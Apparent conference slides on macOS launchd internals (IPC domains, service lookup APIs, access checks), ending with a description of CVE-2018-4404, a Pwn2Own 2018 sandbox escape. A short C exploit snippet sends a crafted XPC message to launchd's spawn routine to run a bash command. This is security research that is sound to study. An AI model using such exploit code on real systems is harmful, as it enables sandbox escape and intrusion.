


Bits of launchd

Samuel Groß (@5aelo)

whois: launchd

- Init process (pid 1)
- Bootstraps userspace
- Critical system process
- **Reachable from every sandbox**
- Responsibilities:
 1. Manages services and IPC communication
 2. Launches processes
 3. ...



Agenda

1. launchd service lookup


- How it works, what APIs are available, how they differ

2. CVE-2018-4404

- Bug in launchd when spawning processes

- Used in Pwn2Own 2018


CVE-2018-4233



Part 1: Service Management

Service Management

Goal: write a preference by interacting with cfprefsd



Service Management


launchd

The diagram consists of three circles arranged in a triangle. The top circle is blue and contains the text 'launchd'. The bottom-left circle is dark teal and contains the text 'cfprefsd'. The bottom-right circle is light blue and contains the text 'Client'. There are no lines or arrows connecting the circles.


cfprefsd

Client

Service Management



Service Management



Service Management



Service Management



Communication

- launchd reachable via special bootstrap port from every process
- Communication over XPC

Request:

Dictionary:

type: 7

handle: 0

subsystem: 3

routine: 804

name: "com.apple.cfprefsd.daemon"

flags: 0

Reply:

Dictionary:

port: 0x4404

Communication

Type of the domain (domain = namespace for service names)

Identifier for the domain, e.g. the PID for PID domains

Dictionary:

`type: 7`

The subsystem (== function) that should handle the request

`handle: 0`

`subsystem: 3`

The routine (== switch case in the function) that should handle the request

`routine: 804`

`name: "com.apple.cfprefsd.daemon"`

`flags: 0`

Additional arguments for the request, e.g. the endpoint name

Domains

Dictionary:

type: 7

handle: 0

subsystem: 3

routine: 804

name: "com.apple.cfprefsd.daemon"

flags: 0

See also:

- `man 1 launchctl`
- `man 5 xpcservice.plist`

Domain Types:

1. System Domain
2. User
3. User-login
4. Session Domain
5. PID Domain
6. \approx User domain for requestor's UID
7. \approx Domain in which requestor runs

Domains

Dictionary:

type: 7

handle: 0

subsystem: 3

routine: 804

name: "com.apple.cfprefsd.daemon"

flags: 0

See also:

- `man 1 launchctl`
- `man 5 xpcservice.plist`

Domain Types:

1. System Domain:

- One domain per system
- LaunchDaemons and XPC services with ServiceType "System" live here

2. User

3. User-login

4. Session Domain

5. PID Domain

6. \approx User domain for requestor's UID

7. \approx Domain in which requestor runs

Domains

Dictionary:

type: 7

handle: 0

subsystem: 3

routine: 804

name: "com.apple.cfprefsd.daemon"

flags: 0

See also:

- `man 1 launchctl`
- `man 5 xpcservice.plist`

Domain Types:

1. System Domain
2. **User Domain,**
3. **User-login Domain:**
 - One domain per user/login
 - LaunchAgents and XPC services with ServiceType "User" live here
4. Session Domain
5. PID Domain
6. \approx User domain for requestor's UID
7. \approx Domain in which requestor runs

Domains

Dictionary:

type: 7

handle: 0

subsystem: 3

routine: 804

name: "com.apple.cfprefsd.daemon"

flags: 0

See also:

- `man 1 launchctl`
- `man 5 xpcservice.plist`

Domain Types:

1. System Domain

2. User

3. User-login

4. Session Domain

5. **PID Domain:**

- One domain per application/process
- XPC ServiceType "Application" lives here
- All other XPC services required by app and frameworks are also visible here

6. \approx User domain for requestor's UID

7. \approx Domain in which requestor runs

Domains

Dictionary:

type: 7

handle: 0

subsystem: 3

routine: 804

name: "com.apple.cfprefsd.daemon"

flags: 0

See also:


- `man 1 launchctl`
- `man 5 xpcservice.plist`

Domain Types:

1. System Domain
2. User
3. User-login
4. Session Domain
5. PID Domain
6. \approx User domain for requestor's UID
7. \approx Domain in which requestor runs

launchctl dumpstate


- Dumps current launchd state
 - All domains, endpoints, services, ..
- Useful to get list of available IPC endpoints on the system
 - For privesc/sbx escape :)
- See jlaunchctl (<http://newosxbook.com/articles/jlaunchctl.html>)



Service Lookup APIs

- `bootstrap_look_up`

- Subsystem 5, routine 207
- Uses domain type 7 (owning domain)
- Yields raw mach port, no XPC connection




Service Lookup APIs

- `bootstrap_look_up`

- Subsystem 5, routine 207
- Uses domain type 7 (owning domain)
- Yields raw mach port, no XPC connection

- `xpc_connection_create_mach_service`

- Subsystem 3, routine 804
- Uses domain type 7 (owning domain)



Service Lookup APIs

- `bootstrap_look_up`


- Subsystem 5, routine 207
- Uses domain type 7 (owning domain)
- Yields raw mach port, no XPC connection

- `xpc_connection_create_mach_service`

- Subsystem 3, routine 804
- Uses domain type 7 (owning domain)

- `xpc_connection_create`

- Subsystem 3, routine 804
- Uses domain type 5 (PID namespace)
 - => Parent domain will **not** be searched



Security

- Access checks performed for most actions
 - Implemented by one function per domain type
 - **Example:** `requestor.pid == domain.pid` for PID domains

```
r = domain->domain_type->access_check(domain, 5, 0, domain->handle, token, 0, 0);  
if ( r ) {  
    ...;
```

- Additional sandbox checks for some operations

```
if ( sandbox_check_by_audit_token(&audit_token, "mach-lookup", 3LL, name) ) {  
    ...;
```

Part 2: Launching Applications

Launching Processes

- What happens when you launch an App on macOS (e.g. via Finder.app)?
- launchd will be the parent process, so it must spawn it

=> RPC endpoint to spawn process in requested domain


(endpoint 817 in subsystem 3)

```
> open -W /Applications/Calculator.app
```

```
> pstree -p $(pgrep Calculator)
```


```
-+= 00001 root /sbin/launchd
```

```
\--= 81318 saelo /Applications/Calculator.app/Contents/MacOS/Calculator
```



CVE-2018-4404

- Bug: RPC endpoint failed to check for sandbox restrictions of the client...
 - Regression?
- Exploit: send an XPC message to launchd
 - Uses small XPC reimplementation
 - Open source soon @ <https://github.com/saelo/pwn2own2018>



Exploit


```
spc_dictionary_t* msg = spc_dictionary_create();
spc_dictionary_set_uint64(msg, "type", 7);
spc_dictionary_set_uint64(msg, "handle", 0);
spc_dictionary_set_string(msg, "label", "Pwnculator");

const char* argv[] = {
    "/bin/bash",
    "-c",
    "open /Applications/Calculator.app"
};

// Implements a custom binary format
int* attr = build_command_buf(sizeof(argv) / sizeof(const char*), argv);
spc_dictionary_set_data(msg, "attr", attr, attr[0]);

// Send the message to launchd (via the bootstrap port).
// To subsystem 3, routine "legacy_spawn" (0x331)
spc_interface_routine(3, 0x331, msg, NULL);
```

Summary

- Launchd does a lot of cool stuff
 - Manages different IPC domains with different endpoints
 - Launches apps and services
 - Much more...
- Interesting for security researchers
- Had a bug 

Resources

- /sbin/launchd (server) and libxpc.dylib (client)
- https://www.youtube.com/watch?v=cD_s6Fjdri8
- <http://newosxbook.com/articles/Ch07.pdf>
- https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf
- <https://github.com/bazad/blanket>
- <https://bugs.chromium.org/p/project-zero/issues/detail?id=893>